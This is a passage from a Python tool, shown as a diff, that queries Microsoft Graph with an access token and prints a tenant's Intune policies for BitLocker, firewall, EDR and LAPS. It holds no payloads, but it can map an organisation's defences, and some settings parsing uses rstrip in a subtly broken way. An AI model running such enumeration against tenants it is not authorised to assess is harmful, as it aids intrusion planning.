"device_vendor_msft_bitlocker_removabledrivesconfigurebde": "Control use of BitLocker on removable drives", + "device_vendor_msft_bitlocker_removabledrivesrequireencryption": "Deny write access to removable drives not protected by BitLocker", + "device_vendor_msft_bitlocker_encryptionmethodbydrivetype": "Choose drive encryption method and cipher strength (Windows 10 [Version 1511] and later)", + "device_vendor_msft_bitlocker_identificationfield": "Provide the unique identifiers for your organization", + "device_vendor_msft_bitlocker_requiredeviceencryption": "Require Device Encryption", + "device_vendor_msft_bitlocker_allowwarningforotherdiskencryption": "Allow Standard User Encryption", + "device_vendor_msft_bitlocker_configurerecoverypasswordrotation": "Configure Recovery Password Rotation" + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + for setting in response_json.get('value', []): + if 'settingInstance' in setting and 'choiceSettingValue' in setting['settingInstance']: + value_field = setting['settingInstance']['choiceSettingValue'].get('value') + if value_field: + cleaned_value = value_field.rstrip('_01') + if cleaned_value in settings_map: + setting_text = settings_map[cleaned_value] + if value_field.endswith('_1'): + print(f"ENABLED : {setting_text}") + elif value_field.endswith('_0'): + print(f"DISABLED : {setting_text}") + else: + print(f"{setting_text} - {value_field}") + else: + print_red(f"[-] Failed to retrieve settings: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# display-firewallconfigpolicyrules - firewall config policy +def display_firewallconfigpolicyrules(args): + if not args.id: + print_red("[-] Error: --id argument is required for display-firewallconfigpolicyrules command") + return + + print_yellow("[*] Display-FirewallConfigPolicyRules") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + settings_map = { + "vendor_msft_firewall_mdmstore_global_crlcheck": { + "displayName": "Certificate revocation list verification", + "options": { + "vendor_msft_firewall_mdmstore_global_crlcheck_0": "None - Disables CRL checking", + "vendor_msft_firewall_mdmstore_global_crlcheck_1": "Attempt - checking is attempted and that certificate validation fails only if the certificate is revoked", + "vendor_msft_firewall_mdmstore_global_crlcheck_2": "Require - checking is required and that certificate validation fails if any error is encountered during CRL processing", + } + }, + "vendor_msft_firewall_mdmstore_global_disablestatefulftp": { + "displayName": "Disable Stateful Ftp", + "options": { + "vendor_msft_firewall_mdmstore_global_disablestatefulftp_false": "Stateful FTP enabled", + "vendor_msft_firewall_mdmstore_global_disablestatefulftp_true": "Stateful FTP disabled", + } + }, + "vendor_msft_firewall_mdmstore_global_enablepacketqueue": { + "displayName": "Enable Packet Queue", + "options": { + "vendor_msft_firewall_mdmstore_global_enablepacketqueue_0": "Disabled - Indicates that all queuing is to be disabled", + "vendor_msft_firewall_mdmstore_global_enablepacketqueue_1": "Queue Inbound - inbound encrypted packets are to be queued", + "vendor_msft_firewall_mdmstore_global_enablepacketqueue_2": "Queue Outbound - packets are to be queued after decryption is performed for forwarding", + } + }, + "vendor_msft_firewall_mdmstore_global_ipsecexempt": { + "displayName": "IPsec Exceptions", + "options": { + "vendor_msft_firewall_mdmstore_global_ipsecexempt_0": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_NONE: No IPsec exemptions.", + "vendor_msft_firewall_mdmstore_global_ipsecexempt_1": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_NEIGHBOR_DISC: Exempt neighbor discover IPv6 ICMP type-codes from IPsec.", + "vendor_msft_firewall_mdmstore_global_ipsecexempt_2": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_ICMP: Exempt ICMP from IPsec.", + "vendor_msft_firewall_mdmstore_global_ipsecexempt_4": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_ROUTER_DISC: Exempt router discover IPv6 ICMP type-codes from IPsec.", + "vendor_msft_firewall_mdmstore_global_ipsecexempt_8": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_DHCP: Exempt both IPv4 and IPv6 DHCP traffic from IPsec.", + } + }, + "vendor_msft_firewall_mdmstore_global_opportunisticallymatchauthsetperkm": { + "displayName": "Opportunistically Match Auth Set Per KM", + "options": { + "vendor_msft_firewall_mdmstore_global_opportunisticallymatchauthsetperkm_false": "FALSE", + "vendor_msft_firewall_mdmstore_global_opportunisticallymatchauthsetperkm_true": "TRUE", + } + }, + "vendor_msft_firewall_mdmstore_global_presharedkeyencoding": { + "displayName": "Preshared Key Encoding", + "options": { + "vendor_msft_firewall_mdmstore_global_presharedkeyencoding_0": "FW_GLOBAL_CONFIG_PRESHARED_KEY_ENCODING_NONE: Preshared key is not encoded. Instead, it is kept in its wide-character format. This symbolic constant has a value of 0.", + "vendor_msft_firewall_mdmstore_global_presharedkeyencoding_1": "FW_GLOBAL_CONFIG_PRESHARED_KEY_ENCODING_UTF_8: Encode the preshared key using UTF-8. This symbolic constant has a value of 1.", + } + }, + "vendor_msft_firewall_mdmstore_global_saidletime": { + "displayName": "Security association idle time", + "options": {} + }, + "vendor_msft_firewall_mdmstore_domainprofile_allowlocalipsecpolicymerge": { + "displayName": "Allow Local Ipsec Policy Merge", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_allowlocalipsecpolicymerge_false": "AllowLocalIpsecPolicyMerge Off", + "vendor_msft_firewall_mdmstore_domainprofile_allowlocalipsecpolicymerge_true": "AllowLocalIpsecPolicyMerge On", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_authappsallowuserprefmerge": { + "displayName": "Auth Apps Allow User Pref Merge", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_authappsallowuserprefmerge_false": "AuthAppsAllowUserPrefMerge Off", + "vendor_msft_firewall_mdmstore_domainprofile_authappsallowuserprefmerge_true": "AuthAppsAllowUserPrefMerge On", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_enablelogdroppedpackets": { + "displayName": "Enable Log Dropped Packets", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_enablelogdroppedpackets_false": "Disable Logging Of Dropped Packets", + "vendor_msft_firewall_mdmstore_domainprofile_enablelogdroppedpackets_true": "Enable Logging Of Dropped Packets", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_disableunicastresponsestomulticastbroadcast": { + "displayName": "Disable Unicast Responses To Multicast Broadcast", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_disableunicastresponsestomulticastbroadcast_false": "Unicast Responses Not Blocked", + "vendor_msft_firewall_mdmstore_domainprofile_disableunicastresponsestomulticastbroadcast_true": "Unicast Responses Blocked", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_shielded": { + "displayName": "Shielded", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_shielded_false": "Shielding Off", + "vendor_msft_firewall_mdmstore_domainprofile_shielded_true": "Shielding On", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_allowlocalpolicymerge": { + "displayName": "Allow Local Policy Merge", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_allowlocalpolicymerge_false": "AllowLocalPolicyMerge Off", + "vendor_msft_firewall_mdmstore_domainprofile_allowlocalpolicymerge_true": "AllowLocalPolicyMerge On", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_defaultoutboundaction": { + "displayName": "Default Outbound Action", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_defaultoutboundaction_0": "Allow Outbound By Default", + "vendor_msft_firewall_mdmstore_domainprofile_defaultoutboundaction_1": "Block Outbound By Default", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_enablelogignoredrules": { + "displayName": "Enable Log Ignored Rules", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_enablelogignoredrules_false": "Disable Logging Of Ignored Rules", + "vendor_msft_firewall_mdmstore_domainprofile_enablelogignoredrules_true": "Enable Logging Of Ignored Rules", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_disableinboundnotifications": { + "displayName": "Disable Inbound Notifications", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_disableinboundnotifications_false": "Firewall May Display Notification", + "vendor_msft_firewall_mdmstore_domainprofile_disableinboundnotifications_true": "Firewall Must Not Display Notification", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_enablelogsuccessconnections": { + "displayName": "Enable Log Success Connections", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_enablelogsuccessconnections_false": "Disable Logging Of Successful Connections", + "vendor_msft_firewall_mdmstore_domainprofile_enablelogsuccessconnections_true": "Enable Logging Of Successful Connections", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_logfilepath": { + "displayName": "Log File Path", + "options": {} + }, + "vendor_msft_firewall_mdmstore_domainprofile_enablefirewall": { + "displayName": "Enable Domain Network Firewall", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_enablefirewall_false": "Disable Firewall", + "vendor_msft_firewall_mdmstore_domainprofile_enablefirewall_true": "Enable Firewall", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_logmaxfilesize": { + "displayName": "Log Max File Size", + "options": {} + }, + "vendor_msft_firewall_mdmstore_domainprofile_globalportsallowuserprefmerge": { + "displayName": "Global Ports Allow User Pref Merge", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_globalportsallowuserprefmerge_false": "GlobalPortsAllowUserPrefMerge Off", + "vendor_msft_firewall_mdmstore_domainprofile_globalportsallowuserprefmerge_true": "GlobalPortsAllowUserPrefMerge On", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_defaultinboundaction": { + "displayName": "Default Inbound Action for Domain Profile", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_defaultinboundaction_0": "Allow Inbound By Default", + "vendor_msft_firewall_mdmstore_domainprofile_defaultinboundaction_1": "Block Inbound By Default", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmodeipsecsecuredpacketexemption": { + "displayName": "Disable Stealth Mode Ipsec Secured Packet Exemption", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmodeipsecsecuredpacketexemption_false": "FALSE", + "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmodeipsecsecuredpacketexemption_true": "TRUE", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmode": { + "displayName": "Disable Stealth Mode", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmode_false": "Use Stealth Mode", + "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmode_true": "Disable Stealth Mode", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_allowlocalipsecpolicymerge": { + "displayName": "Allow Local Ipsec Policy Merge", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_allowlocalipsecpolicymerge_false": "AllowLocalIpsecPolicyMerge Off", + "vendor_msft_firewall_mdmstore_privateprofile_allowlocalipsecpolicymerge_true": "AllowLocalIpsecPolicyMerge On", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_authappsallowuserprefmerge": { + "displayName": "Auth Apps Allow User Pref Merge", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_authappsallowuserprefmerge_false": "AuthAppsAllowUserPrefMerge Off", + "vendor_msft_firewall_mdmstore_privateprofile_authappsallowuserprefmerge_true": "AuthAppsAllowUserPrefMerge On", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_enablefirewall": { + "displayName": "Enable Private Network Firewall", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_enablefirewall_false": "Disable Firewall", + "vendor_msft_firewall_mdmstore_privateprofile_enablefirewall_true": "Enable Firewall", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_logmaxfilesize": { + "displayName": "Log Max File Size", + "options": {} + }, + "vendor_msft_firewall_mdmstore_privateprofile_globalportsallowuserprefmerge": { + "displayName": "Global Ports Allow User Pref Merge", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_globalportsallowuserprefmerge_false": "GlobalPortsAllowUserPrefMerge Off", + "vendor_msft_firewall_mdmstore_privateprofile_globalportsallowuserprefmerge_true": "GlobalPortsAllowUserPrefMerge On", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_defaultinboundaction": { + "displayName": "Default Inbound Action for Private Profile", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_defaultinboundaction_0": "Allow Inbound By Default", + "vendor_msft_firewall_mdmstore_privateprofile_defaultinboundaction_1": "Block Inbound By Default", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_disableunicastresponsestomulticastbroadcast": { + "displayName": "Disable Unicast Responses To Multicast Broadcast", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_disableunicastresponsestomulticastbroadcast_false": "Unicast Responses Not Blocked", + "vendor_msft_firewall_mdmstore_privateprofile_disableunicastresponsestomulticastbroadcast_true": "Unicast Responses Blocked", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_logfilepath": { + "displayName": "Log File Path", + "options": {} + }, + "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmode": { + "displayName": "Disable Stealth Mode", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmode_false": "Use Stealth Mode", + "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmode_true": "Disable Stealth Mode", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_enablelogdroppedpackets": { + "displayName": "Enable Log Dropped Packets", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_enablelogdroppedpackets_false": "Disable Logging Of Dropped Packets", + "vendor_msft_firewall_mdmstore_privateprofile_enablelogdroppedpackets_true": "Enable Logging Of Dropped Packets", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmodeipsecsecuredpacketexemption": { + "displayName": "Disable Stealth Mode Ipsec Secured Packet Exemption", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmodeipsecsecuredpacketexemption_false": "FALSE", + "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmodeipsecsecuredpacketexemption_true": "TRUE", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_disableinboundnotifications": { + "displayName": "Disable Inbound Notifications", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_disableinboundnotifications_false": "Firewall May Display Notification", + "vendor_msft_firewall_mdmstore_privateprofile_disableinboundnotifications_true": "Firewall Must Not Display Notification", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_enablelogsuccessconnections": { + "displayName": "Enable Log Success Connections", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_enablelogsuccessconnections_false": "Disable Logging Of Successful Connections", + "vendor_msft_firewall_mdmstore_privateprofile_enablelogsuccessconnections_true": "Enable Logging Of Successful Connections", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_shielded": { + "displayName": "Shielded", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_shielded_false": "Shielding Off", + "vendor_msft_firewall_mdmstore_privateprofile_shielded_true": "Shielding On", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_allowlocalpolicymerge": { + "displayName": "Allow Local Policy Merge", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_allowlocalpolicymerge_false": "AllowLocalPolicyMerge Off", + "vendor_msft_firewall_mdmstore_privateprofile_allowlocalpolicymerge_true": "AllowLocalPolicyMerge On", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_defaultoutboundaction": { + "displayName": "Default Outbound Action", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_defaultoutboundaction_0": "Allow Outbound By Default", + "vendor_msft_firewall_mdmstore_privateprofile_defaultoutboundaction_1": "Block Outbound By Default", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_enablelogignoredrules": { + "displayName": "Enable Log Ignored Rules", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_enablelogignoredrules_false": "Disable Logging Of Ignored Rules", + "vendor_msft_firewall_mdmstore_privateprofile_enablelogignoredrules_true": "Enable Logging Of Ignored Rules", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_disableunicastresponsestomulticastbroadcast": { + "displayName": "Disable Unicast Responses To Multicast Broadcast", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_disableunicastresponsestomulticastbroadcast_false": "Unicast Responses Not Blocked", + "vendor_msft_firewall_mdmstore_publicprofile_disableunicastresponsestomulticastbroadcast_true": "Unicast Responses Blocked", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_globalportsallowuserprefmerge": { + "displayName": "Global Ports Allow User Pref Merge", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_globalportsallowuserprefmerge_false": "GlobalPortsAllowUserPrefMerge Off", + "vendor_msft_firewall_mdmstore_publicprofile_globalportsallowuserprefmerge_true": "GlobalPortsAllowUserPrefMerge On", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmodeipsecsecuredpacketexemption": { + "displayName": "Disable Stealth Mode Ipsec Secured Packet Exemption", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmodeipsecsecuredpacketexemption_false": "FALSE", + "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmodeipsecsecuredpacketexemption_true": "TRUE", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_shielded": { + "displayName": "Shielded", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_shielded_false": "Shielding Off", + "vendor_msft_firewall_mdmstore_publicprofile_shielded_true": "Shielding On", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_allowlocalpolicymerge": { + "displayName": "Allow Local Policy Merge", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_allowlocalpolicymerge_false": "AllowLocalPolicyMerge Off", + "vendor_msft_firewall_mdmstore_publicprofile_allowlocalpolicymerge_true": "AllowLocalPolicyMerge On", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_defaultoutboundaction": { + "displayName": "Default Outbound Action", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_defaultoutboundaction_0": "Allow Outbound By Default", + "vendor_msft_firewall_mdmstore_publicprofile_defaultoutboundaction_1": "Block Outbound By Default", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_enablelogignoredrules": { + "displayName": "Enable Log Ignored Rules", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_enablelogignoredrules_false": "Disable Logging Of Ignored Rules", + "vendor_msft_firewall_mdmstore_publicprofile_enablelogignoredrules_true": "Enable Logging Of Ignored Rules", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_disableinboundnotifications": { + "displayName": "Disable Inbound Notifications", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_disableinboundnotifications_false": "Firewall May Display Notification", + "vendor_msft_firewall_mdmstore_publicprofile_disableinboundnotifications_true": "Firewall Must Not Display Notification", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_enablelogsuccessconnections": { + "displayName": "Enable Log Success Connections", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_enablelogsuccessconnections_false": "Disable Logging Of Successful Connections", + "vendor_msft_firewall_mdmstore_publicprofile_enablelogsuccessconnections_true": "Enable Logging Of Successful Connections", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_allowlocalipsecpolicymerge": { + "displayName": "Allow Local Ipsec Policy Merge", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_allowlocalipsecpolicymerge_false": "AllowLocalIpsecPolicyMerge Off", + "vendor_msft_firewall_mdmstore_publicprofile_allowlocalipsecpolicymerge_true": "AllowLocalIpsecPolicyMerge On", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_authappsallowuserprefmerge": { + "displayName": "Auth Apps Allow User Pref Merge", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_authappsallowuserprefmerge_false": "AuthAppsAllowUserPrefMerge Off", + "vendor_msft_firewall_mdmstore_publicprofile_authappsallowuserprefmerge_true": "AuthAppsAllowUserPrefMerge On", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_logfilepath": { + "displayName": "Log File Path", + "options": {} + }, + "vendor_msft_firewall_mdmstore_publicprofile_enablefirewall": { + "displayName": "Enable Public Network Firewall", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_enablefirewall_false": "Disable Firewall", + "vendor_msft_firewall_mdmstore_publicprofile_enablefirewall_true": "Enable Firewall", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_logmaxfilesize": { + "displayName": "Log Max File Size", + "options": {} + }, + "vendor_msft_firewall_mdmstore_publicprofile_enablelogdroppedpackets": { + "displayName": "Enable Log Dropped Packets", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_enablelogdroppedpackets_false": "Disable Logging Of Dropped Packets", + "vendor_msft_firewall_mdmstore_publicprofile_enablelogdroppedpackets_true": "Enable Logging Of Dropped Packets", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_defaultinboundaction": { + "displayName": "Default Inbound Action for Public Profile", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_defaultinboundaction_0": "Allow Inbound By Default", + "vendor_msft_firewall_mdmstore_publicprofile_defaultinboundaction_1": "Block Inbound By Default", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmode": { + "displayName": "Disable Stealth Mode", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmode_false": "Use Stealth Mode", + "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmode_true": "Disable Stealth Mode", + } + }, + "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection": { + "displayName": "Object Access Audit Filtering Platform Connection", + "options": { + "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection_0": "Off/None", + "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection_1": "Success", + "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection_2": "Failure", + "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection_3": "Success+Failure", + } + }, + "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop": { + "displayName": "Object Access Audit Filtering Platform Packet Drop", + "options": { + "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop_0": "Off/None", + "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop_1": "Success", + "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop_2": "Failure", + "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop_3": "Success+Failure", + } + }, + } + + def process_setting(setting, indent=""): + setting_instance = setting.get('settingInstance', {}) + setting_id = setting_instance.get('settingDefinitionId', '') + + if setting_id in settings_map: + display_name = settings_map[setting_id]['displayName'] + print(f"{indent}{display_name} : ", end="") + else: + print(f"{indent}Setting: {setting_id} : ", end="") + if '@odata.type' in setting_instance: + setting_type = setting_instance['@odata.type'].split('.')[-1] + + if setting_type == 'deviceManagementConfigurationChoiceSettingInstance': + process_choice_setting(setting_instance, indent) + elif setting_type == 'deviceManagementConfigurationSimpleSettingInstance': + process_simple_setting(setting_instance, indent) + elif setting_type == 'deviceManagementConfigurationChoiceSettingCollectionInstance': + process_choice_collection_setting(setting_instance, indent) + else: + print(f"Unsupported setting type: {setting_type}") + + def process_choice_setting(setting_instance, indent): + choice_value = setting_instance.get('choiceSettingValue', {}) + value = choice_value.get('value', '') + + setting_id = setting_instance.get('settingDefinitionId', '') + if setting_id in settings_map and value in settings_map[setting_id]['options']: + print(f"{settings_map[setting_id]['options'][value]}") + else: + print(f"{value}") + + for child in choice_value.get('children', []): + process_setting({'settingInstance': child}, indent + " ") + + def process_simple_setting(setting_instance, indent): + simple_value = setting_instance.get('simpleSettingValue', {}) + value = simple_value.get('value', '') + print(f"{value}") + + def process_choice_collection_setting(setting_instance, indent): + choice_collection = setting_instance.get('choiceSettingCollectionValue', []) + values = [] + for choice in choice_collection: + value = choice.get('value', '') + + setting_id = setting_instance.get('settingDefinitionId', '') + if setting_id in settings_map and value in settings_map[setting_id]['options']: + values.append(settings_map[setting_id]['options'][value]) + else: + values.append(value) + print(", ".join(values)) + + def print_profile_settings(response_json, profile_type): + print(f"\n{profile_type} Profile Settings") + print("-" * 80) + for setting in response_json.get('value', []): + setting_id = setting.get('settingInstance', {}).get('settingDefinitionId', '') + if profile_type.lower() in setting_id.lower(): + process_setting(setting) + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + + print("\nGlobal Settings") + print("-" * 80) + for setting in response_json.get('value', []): + setting_id = setting.get('settingInstance', {}).get('settingDefinitionId', '') + if 'global' in setting_id.lower(): + process_setting(setting) + + print("\nAudit Settings") + print("-" * 80) + for setting in response_json.get('value', []): + setting_id = setting.get('settingInstance', {}).get('settingDefinitionId', '') + if 'audit' in setting_id.lower(): + process_setting(setting) + + print_profile_settings(response_json, "Domain") + print_profile_settings(response_json, "Private") + print_profile_settings(response_json, "Public") + else: + print_red(f"[-] Failed to retrieve settings: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# display-firewallrulepolicyrules - actual firewall rules +def display_firewallrulepolicyrules(args): + if not args.id: + print_red("[-] Error: --id argument is required for Display-FirewallRulePolicyRules command") + return + + print_yellow("[*] Display-FirewallRulePolicyRules") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" + + if args.select: + api_url += "?$select=" + args.select + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + for setting in response_json.get('value', []): + if 'settingInstance' in setting and setting['settingInstance']['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationGroupSettingCollectionInstance": + for group in setting['settingInstance'].get('groupSettingCollectionValue', []): + rule_name = "" + rule_action = "" + rule_direction = "" + rule_enabled = "" + rule_local_ports = "" + rule_remote_ports = "" + rule_description = "" + rule_interfaces = [] + for child in group.get('children', []): + setting_def_id = child['settingDefinitionId'] + if setting_def_id.endswith("_name"): + rule_name = child['simpleSettingValue']['value'] + elif setting_def_id.endswith("_action_type"): + rule_action = "ALLOW" if child['choiceSettingValue']['value'].endswith("_0") else "BLOCK" + elif setting_def_id.endswith("_direction"): + rule_direction = "INBOUND" if child['choiceSettingValue']['value'].endswith("_in") else "OUTBOUND" + elif setting_def_id.endswith("_enabled"): + rule_enabled = "ENABLED" if child['choiceSettingValue']['value'].endswith("_1") else "DISABLED" + elif setting_def_id.endswith("_localportranges"): + rule_local_ports = ", ".join([port['value'] for port in child['simpleSettingCollectionValue']]) + elif setting_def_id.endswith("_remoteportranges"): + rule_remote_ports = ", ".join([port['value'] for port in child['simpleSettingCollectionValue']]) + elif setting_def_id.endswith("_description"): + rule_description = child['simpleSettingValue']['value'] + elif setting_def_id.endswith("_interfacetypes"): + rule_interfaces = [iface['value'].split('_')[-1] for iface in child['choiceSettingCollectionValue']] + rule_interfaces = ", ".join(rule_interfaces) + print(f"Rule Name : {rule_name}") + print(f"Action : {rule_action}") + print(f"Direction : {rule_direction}") + print(f"Enabled : {rule_enabled}") + print(f"Local Ports : {rule_local_ports}") + print(f"Remote Ports : {rule_remote_ports}") + print(f"Description : {rule_description}") + print(f"Interfaces : {rule_interfaces}") + print() + else: + print_red(f"[-] Failed to retrieve settings: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# display-edrpolicyrules +def display_edrpolicyrules(args): + if not args.id: + print_red("[-] Error: --id argument is required for Display-EDRPolicyRules command") + return + + print_yellow("[*] Display-EDRPolicyRules") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" + + if args.select: + api_url += "?$select=" + args.select + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + settings_map = { + "device_vendor_msft_windowsadvancedthreatprotection_configurationtype": "Microsoft Defender for Endpoint client configuration package type", + "device_vendor_msft_windowsadvancedthreatprotection_configuration_samplesharing": "Sample sharing", + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + for setting in response_json.get('value', []): + if 'settingInstance' in setting and 'choiceSettingValue' in setting['settingInstance']: + value_field = setting['settingInstance']['choiceSettingValue'].get('value') + if value_field: + cleaned_value = value_field.rstrip('_01onboard') + if cleaned_value in settings_map: + setting_text = settings_map[cleaned_value] + if value_field.endswith('_1'): + print(f"ENABLED : {setting_text}") + elif value_field.endswith('_0'): + print(f"DISABLED : {setting_text}") + elif value_field.endswith('_onboard'): + print(f"ONBOARD : {setting_text}") + else: + print(f"{setting_text} - {value_field}") + else: + print_red(f"[-] Failed to retrieve settings: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# display-lapsaccountprotectionpolicyrules +def display_lapsaccountprotectionpolicyrules(args): + if not args.id: + print_red("[-] Error: --id argument is required for Display-LAPSAccountProtectionPolicyRules command") + return + + print_yellow("[*] Display-LAPSAccountProtectionPolicyRules") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" + + if args.select: + api_url += "?$select=" + args.select + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + settings_map = { + "device_vendor_msft_windowsadvancedthreatprotection_configurationtype": "Microsoft Defender for Endpoint client configuration package type", + "device_vendor_msft_windowsadvancedthreatprotection_configuration_samplesharing": "Sample sharing", + "device_vendor_msft_laps_policies_backupdirectory": { + "description": "Backup Directory", + "values": { + "0": "Disabled (password will not be backed up)", + "1": "Backup the password to Azure AD only", + "2": "Backup the password to Active Directory only" + } + }, + "device_vendor_msft_laps_policies_passwordagedays": "Password Age Days", + "device_vendor_msft_laps_policies_passwordagedays_aad": "Password Age Days (AAD)", + 